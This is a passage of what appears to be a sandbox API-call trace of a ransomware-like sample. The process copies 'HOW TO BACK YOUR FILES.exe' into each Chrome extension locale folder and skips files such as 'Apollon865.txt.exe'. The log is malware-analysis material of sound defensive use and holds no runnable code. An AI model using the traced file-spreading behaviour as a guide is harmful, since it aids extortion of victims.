	[0049.427] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt"
	[0049.427] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt"
	[0049.427] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.427] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3588f7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3588f7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.432] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.432] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko"
	[0049.432] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko"
	[0049.432] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.432] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.436] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3588f7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3588f7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.436] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.437] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.437] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja"
	[0049.437] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja"
	[0049.437] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.447] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.447] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x358b5950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x358b5950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.447] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.447] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.447] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it"
	[0049.447] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it"
	[0049.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.451] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.451] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x358b5950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x358b5950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.451] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.451] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.452] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id"
	[0049.452] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id"
	[0049.452] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.452] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.457] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.457] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x358dbab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x358dbab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.458] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.458] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.458] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu"
	[0049.458] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu"
	[0049.458] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.462] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x358dbab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x358dbab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.462] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.462] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr"
	[0049.462] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr"
	[0049.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.476] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x358dbab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x358dbab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.476] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.476] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi"
	[0049.476] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi"
	[0049.476] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.480] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.480] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35901c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35901c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.481] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.481] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.481] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he"
	[0049.481] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he"
	[0049.481] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.486] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
